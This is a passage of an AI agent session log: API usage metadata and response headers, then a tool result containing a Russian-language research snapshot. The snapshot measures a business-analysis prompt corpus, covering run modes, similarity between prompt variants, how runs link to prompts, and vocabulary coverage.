2,\n[2026-09-29T07:45:34.340Z] [INFO]       \"cache_creation_input_tokens\": 8233,\n[2026-09-29T07:45:34.340Z] [INFO]       \"cache_read_input_tokens\": 49556,\n[2026-09-29T07:45:34.340Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:45:34.340Z] [INFO]         \"ephemeral_5m_input_tokens\": 8233,\n[2026-09-29T07:45:34.340Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:45:34.340Z] [INFO]       },\n[2026-09-29T07:45:34.340Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:45:34.340Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:45:34.340Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:45:34.340Z] [INFO]     },\n[2026-09-29T07:45:34.340Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:45:34.340Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:45:34.340Z] [INFO]     \"context_management\": null\n[2026-09-29T07:45:34.340Z] [INFO]   },\n[2026-09-29T07:45:34.340Z] [INFO]   \"parent_tool_use_id\": \"toolu_01GFx7YR63TmqWwLsYXBMEow\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"uuid\": \"38b35c56-475b-488b-afb7-fb722aadb1dd\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"timestamp\": \"2026-09-29T07:45:34.163Z\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"request_id\": \"req_011CfXMmEgJxq8t6T4BygNE9\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:45:34.340Z] [INFO]   \"task_description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:45:34.340Z] [INFO] }\n[2026-09-29T07:45:34.894Z] [STDOUT] [log_5e93bf, request-id: \"req_011CfXMmSZCPKKn8EQKRJ3cY\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 839ms\n[2026-09-29T07:45:34.897Z] [STDOUT] [log_5e93bf] response start {\n[2026-09-29T07:45:34.900Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:45:34.908Z] [STDOUT]   status: 200,\n[2026-09-29T07:45:34.911Z] [STDOUT]   headers: {\n[2026-09-29T07:45:34.914Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:45:34.919Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:45:34.923Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:45:34.925Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.36\",\n[2026-09-29T07:45:34.932Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": 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   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:45:34.979Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:45:34.982Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:45:34.986Z] [STDOUT]     \"cf-ray\": \"a4295e7bdf234d8b-FRA\",\n[2026-09-29T07:45:34.990Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:45:34.993Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:45:34.996Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:45:35.002Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:45:35.006Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:45:34 GMT\",\n[2026-09-29T07:45:35.010Z] [STDOUT]     \"request-id\": \"req_011CfXMmSZCPKKn8EQKRJ3cY\",\n[2026-09-29T07:45:35.013Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:45:35.020Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; 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\"tool_result\",\n[2026-09-29T07:45:36.464Z] [INFO]         \"content\": \"  - \\\"https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/561\\\"\\n---\\n\\n# \u0421\u043d\u0438\u043c\u043e\u043a \u0432\u0445\u043e\u0434\u043e\u0432 BA Meta-Model \u043d\u0430 2026-09-08\\n\\n> **\u041d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435.** \u0414\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 **\u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435** \u0442\u043e\u0433\u043e, \u0438\u0437 \u0447\u0435\u0433\u043e \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f\\n> \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c: \u0440\u0435\u0436\u0438\u043c\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u043f\u043e\u043a\u0440\u044b\u0442\u0438\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u0435\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439\\n> \u0438 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432. \u0418\u043d\u0442\u0435\u0440\u043f\u0440\u0435\u0442\u0430\u0446\u0438\u044f \u0438 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u2014 \u0432 \u043c\u043e\u0434\u0443\u043b\u0435\\n> [`projects/ba-ai-process/ba-meta-model/`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/00-introduction.md)\\n> \u0438 \u0432\\n> [ADR-013](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-013-run-modes-deprecation.md).\\n> \u0421\u043d\u0438\u043c\u043e\u043a \u043e\u0442\u0434\u0435\u043b\u0451\u043d \u043e\u0442 \u043c\u043e\u0434\u0443\u043b\u044f, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u043e\u0440\u043f\u0443\u0441 \u0440\u0430\u0441\u0442\u0451\u0442: \u043d\u0430 \u0434\u0440\u0443\u0433\u043e\u043c \u043a\u043e\u043c\u043c\u0438\u0442\u0435 \u0447\u0438\u0441\u043b\u0430\\n> \u0431\u0443\u0434\u0443\u0442 \u0434\u0440\u0443\u0433\u0438\u043c\u0438.\\n\\n**\u041a\u043e\u0440\u043f\u0443\u0441.** [`mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts)\\n\u043d\u0430 \u043a\u043e\u043c\u043c\u0438\u0442\u0435 `8cbf82aa73129ec5747af07f790aaf438b0fb6e9`: 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 `runs/`,\\n24 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 `prompts/` (\u0430\u0440\u0445\u0438\u0432 `prompts/archive/` \u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0435 \u0444\u0430\u0439\u043b\u044b\\n`*.executable.md` \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u044b).\\n\\n**\u0418\u0437\u043c\u0435\u0440\u0438\u0442\u0435\u043b\u044c.**\\n[`exp/ba-meta-model-563/measure-meta-model-inputs.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/measure-meta-model-inputs.py),\\n\u0441\u044b\u0440\u043e\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n[`meta-model-inputs.json`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/meta-model-inputs.json),\\n\u043b\u043e\u0433 \u2014\\n[`measure-meta-model-inputs.log`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/exp/ba-meta-model-563/measure-meta-model-inputs.log).\\n\\n## 1. \u0420\u0435\u0436\u0438\u043c \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u0441\u0442\u0440\u043e\u0435\u043d \u0432 \u0438\u0434\u0435\u043d\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442\u0430\\n\\n\u0418\u043c\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0440\u0430\u0437\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a `<\u043f\u0440\u0435\u0434\u043c\u0435\u0442>-<\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f>-<\u0440\u0435\u0436\u0438\u043c>`. \u0420\u0430\u0437\u0431\u043e\u0440\\n\u0443\u0434\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0432\u0441\u0435\u0445 24 \u0444\u0430\u0439\u043b\u043e\u0432: **\u0440\u0435\u0436\u0438\u043c \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0430\u0441\u0442\u044c\u044e \u0438\u043c\u0435\u043d\u0438 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430**, \u0430 \u043d\u0435 \u0435\u0433\u043e\\n\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043e\u043c.\\n\\n| \u0420\u0435\u0436\u0438\u043c | \u041f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 |\\n| --- | --- |\\n| `stepwise` | 10 |\\n| `oneshot` | 9 |\\n| `legacy` | 5 |\\n| **\u0418\u0442\u043e\u0433\u043e** | **24** |\\n\\n\u0420\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 (\u043f\u0430\u0440\u0430 \u00ab\u043f\u0440\u0435\u0434\u043c\u0435\u0442 + \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f\u00bb) \u2014 **13**. \u041a\u0440\u0430\u0442\u043d\u043e\u0441\u0442\u044c\\n\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f: **1.85 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u043d\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u044c**. \u0423 **9 \u0438\u0437 13** \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0435\u0441\u0442\u044c\\n\u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0435\u0436\u0438\u043c\u043d\u043e\u0433\u043e \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430.\\n\\n## 2. \u0420\u0435\u0436\u0438\u043c\u043d\u044b\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043e\u0434\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043d\u0435 \u0438\u043c\u0435\u044e\u0442 \u043e\u0431\u0449\u0435\u0433\u043e \u0441\u043a\u0435\u043b\u0435\u0442\u0430\\n\\n\u0414\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0430\u0440\u044b \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u043b\u0438\u0441\u044c \u043f\u043e\u0434\u043f\u0438\u0441\u0438 \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445\\n\u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u043e\u043c\u043f\u0442\u0430 (\u043f\u043e\u0434\u043f\u0438\u0441\u044c \u043e\u0433\u0440\u0443\u0431\u043b\u0435\u043d\u0430 \u0434\u043e \u0447\u0430\u0441\u0442\u0438 \u0441\u0442\u0440\u043e\u043a\u0438 \u0434\u043e \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0434\u0432\u043e\u0435\u0442\u043e\u0447\u0438\u044f).\\n\\n| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0430\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432 \u043e\u0434\u043d\u043e\u0439 \u0441\u043f\u043e\u0441\u043e\u0431\u043d\u043e\u0441\u0442\u0438 | 13 |\\n| \u0421\u0440\u0435\u0434\u043d\u0438\u0439 \u043a\u043e\u044d\u0444\u0444\u0438\u0446\u0438\u0435\u043d\u0442 \u0416\u0430\u043a\u043a\u0430\u0440\u0430 \u043f\u043e \u043f\u043e\u0434\u043f\u0438\u0441\u044f\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | **0.077** |\\n| \u041f\u0430\u0440 \u0441 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u043c \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e\u043c \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 | **0** |\\n| \u041f\u0430\u0440 \u0441 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u044e\u0449\u0438\u043c \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u043c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 | **0** |\\n| \u041c\u0430\u043a\u0441\u0438\u043c\u0443\u043c \u043f\u043e \u043f\u0430\u0440\u0430\u043c | 0.4 (`fr-validation`, `oneshot` \u2194 `stepwise`) |\\n| \u041e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u043e\u0431\u044a\u0451\u043c\u043e\u0432 \u0432 \u043f\u0430\u0440\u0435 | \u043e\u0442 1.22 \u0434\u043e 3.30 |\\n\\n\u0412\u043e\u0441\u0435\u043c\u044c \u0438\u0437 \u0442\u0440\u0438\u043d\u0430\u0434\u0446\u0430\u0442\u0438 \u043f\u0430\u0440 \u0434\u0430\u043b\u0438 \u0416\u0430\u043a\u043a\u0430\u0440 `0.0` \u2014 \u043e\u0431\u0449\u0438\u0445 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043d\u0435\u0442 \u0432\u043e\u0432\u0441\u0435.\\n\\n## 3. \u041c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e \u0440\u0435\u0436\u0438\u043c\u0430\u043c \u043d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438\\n\\n\u0421\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0432\u0437\u044f\u0442\u044b \u0438\u0437 `related_artifacts` \u0432 `metadata.yaml`.\\n\\n| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0441\u0435\u0433\u043e | 67 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 | **50** |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `stepwise`-\u043f\u0440\u043e\u043c\u043f\u0442 | 14 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `oneshot`-\u043f\u0440\u043e\u043c\u043f\u0442 | 3 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0441\u043e \u0441\u0441\u044b\u043b\u043a\u043e\u0439 \u043d\u0430 `legacy`-\u043f\u0440\u043e\u043c\u043f\u0442 | 3 |\\n| \u0410\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432, \u043d\u0438 \u0440\u0430\u0437\u0443 \u043d\u0435 \u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u043c\u0438 | **11 \u0438\u0437 24** |\\n\\n## 4. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u043f\u043e\u043a\u0440\u044b\u0442 \u043d\u0430\u043f\u043e\u043b\u043e\u0432\u0438\u043d\u0443\\n\\n\u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e 13 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439. \u041f\u0440\u043e\u043c\u043f\u0442\u044b \u043f\u043e\u043a\u0440\u044b\u0432\u0430\u044e\u0442 **6**: `documentation`, `ingestion`,\\n`modeling`, `solution_design`, `understanding`, `validation`.\\n\\n\u0411\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u2014 **7**: `governance`, `impact_analysis`, `quality`,\\n`release_readiness`, `research`, `reverse_requirements`, `risk_analysis`.\\n\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0443\u043f\u043e\u0442\u0440\u0435\u0431\u043b\u0451\u043d\u043d\u044b\u0445 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f, \u043d\u0435\u0442: \u0438\u043c\u0435\u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442\u043e\u0432 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u043d\u0435 \u043d\u0430\u0440\u0443\u0448\u0430\u044e\u0442.\\n\\n## 5. \u0421\u043b\u043e\u0432\u0430\u0440\u044c \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\\n\\n\u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e 9 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432. \u0412 \u043f\u043e\u043b\u0435 `process:` \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0441\u0442\u0440\u0435\u0442\u0438\u043b\u0441\u044f **\u043e\u0434\u0438\u043d**\\n\u0438\u0437 \u043d\u0438\u0445 \u2014 `fr-generation`. \u041e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 **65** \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043f\u043e\u043b\u044f \u043b\u0435\u0436\u0430\u0442 \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f: \u044d\u0442\u043e\\n\u043c\u0435\u0442\u043a\u0438 \u0437\u0430\u0434\u0430\u0447 (`task-930-amocrm-comment-and-tag-fields`), \u0430 \u043d\u0435 \u0438\u043c\u0435\u043d\u0430 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.\\n\\n| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043e | 9 |\\n| \u041e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432, \u0432\u0441\u0442\u0440\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0440\u043e\u0433\u043e\u043d\u0430\u0445 | 1 |\\n| \u041c\u0435\u0442\u043e\u043a `process:` \u0432\u043d\u0435 \u0441\u043b\u043e\u0432\u0430\u0440\u044f | 65 |\\n\\n## 6. \u041f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442\\n\\n| \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 | \u0417\u043d\u0430\u0447\u0435\u043d\u0438\u0435 |\\n| --- | --- |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0445 \u0434\u043e\u043c\u0435\u043d \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0432 \u043c\u0435\u0442\u0430\u0434\u0430\u043d\u043d\u044b\u0445 | **5 \u0438\u0437 67** |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0433\u0434\u0435 \u043b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0440\u043e\u0432\u043d\u043e \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d | 1 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0433\u0434\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u0430\u044e\u0442 \u0431\u043e\u043b\u0435\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u043e\u043c\u0435\u043d\u0430 | 66 |\\n| \u041f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0431\u0435\u0437 \u043c\u0430\u0440\u043a\u0435\u0440\u043e\u0432 | 0 |\\n\\n## 7. \u0413\u0440\u0430\u043d\u0438\u0446\u044b \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u044f\\n\\n- **\u0420\u0430\u0437\u0431\u043e\u0440 \u0438\u043c\u0435\u043d\u0438, \u0430 \u043d\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u044f.** \u0420\u0435\u0436\u0438\u043c \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0443\u0444\u0444\u0438\u043a\u0441\u043e\u043c \u0444\u0430\u0439\u043b\u0430.\\n  \u041f\u0440\u043e\u043c\u043f\u0442, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0440\u0435\u0436\u0438\u043c \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d \u0432\u043d\u0443\u0442\u0440\u0438 \u0442\u0435\u043a\u0441\u0442\u0430, \u0430 \u0432 \u0438\u043c\u0435\u043d\u0438 \u043d\u0435\u0442, \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u0438\u0435\u043c \u043d\u0435\\n  \u0443\u0447\u0438\u0442\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u2014 \u0442\u0430\u043a\u0438\u0445 \u0432 \u043a\u043e\u0440\u043f\u0443\u0441\u0435 \u043d\u0435\u0442, \u043d\u043e \u043f\u0440\u0430\u0432\u0438\u043b\u043e \u0437\u0430\u0432\u0438\u0441\u0438\u0442 \u043e\u0442 \u0441\u043e\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043e\u0431 \u0438\u043c\u0435\u043d\u0430\u0445.\\n- **\u0421\u043a\u0435\u043b\u0435\u0442 \u2014 \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0443\u043c\u0435\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438.** \u041f\u0440\u043e\u043c\u043f\u0442, \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439\\n  \u043c\u0430\u0440\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0441\u043f\u0438\u0441\u043a\u043e\u043c \u0438\u043b\u0438 \u0436\u0438\u0440\u043d\u044b\u043c \u0442\u0435\u043a\u0441\u0442\u043e\u043c, \u0431\u0443\u0434\u0435\u0442 \u0438\u0437\u043c\u0435\u0440\u0435\u043d \u043a\u0430\u043a \u043c\u0430\u043b\u043e\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u044b\u0439.\\n  \u042d\u0442\u043e **\u0437\u0430\u043d\u0438\u0436\u0430\u0435\u0442** \u0441\u043e\u0432\u043f\u0430\u0434\u0435\u043d\u0438\u0435 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432, \u0430 \u043d\u0435 \u0437\u0430\u0432\u044b\u0448\u0430\u0435\u0442 \u0435\u0433\u043e.\\n- **\u0421\u0441\u044b\u043b\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0430 \u043f\u0440\u043e\u043c\u043f\u0442 \u2014 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u0435, \u0430 \u043d\u0435 \u0444\u0430\u043a\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f.** \u041f\u0440\u043e\u0433\u043e\u043d \u043c\u043e\u0433\\n  \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u043c\u043f\u0442 \u0438 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u0438\u0442\u044c \u0435\u0433\u043e. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u00a73 \u0434\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\\n  **\u043f\u0440\u043e\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0441\u0442\u0438** \u0440\u0435\u0436\u0438\u043c\u0430, \u0430 \u043d\u0435 \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0435\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u044f.\\n- **\u041b\u0435\u043a\u0441\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043c\u0430\u0440\u043a\u0435\u0440\u044b \u0434\u043e\u043c\u0435\u043d\u043e\u0432 \u043d\u0435\u0440\u0430\u0437\u0434\u0435\u043b\u044f\u044e\u0449\u0438\u0435.** 66 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0438\u0437 67 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442\\n  \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u0432 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d. \u0412\u0435\u043b\u0438\u0447\u0438\u043d\u0430 \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0430 \u0440\u043e\u0432\u043d\u043e \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0432\u044b\u0432\u043e\u0434\u0430 \u2014\\n  \u00ab\u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 \u043f\u0440\u043e\u0434\u0443\u043a\u0442 \u043d\u0435 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f\u00bb \u2014 \u0438 \u043d\u0435\u043f\u0440\u0438\u0433\u043e\u0434\u043d\u0430 \u0434\u043b\u044f \u0434\u043e\u043b\u0435\u0439 \u043f\u043e \u0434\u043e\u043c\u0435\u043d\u0430\u043c.\\n- **\u041e\u0434\u043d\u0430 \u0441\u043f\u0438\u0446\u0430.** \u0412\u0441\u0435 \u0447\u0438\u0441\u043b\u0430 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u044b \u043d\u0430 `mango_ba_prompts`. \u041f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0430\\n  \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u0440\u0435\u0434\u043c\u0435\u0442\u043d\u044b\u0435 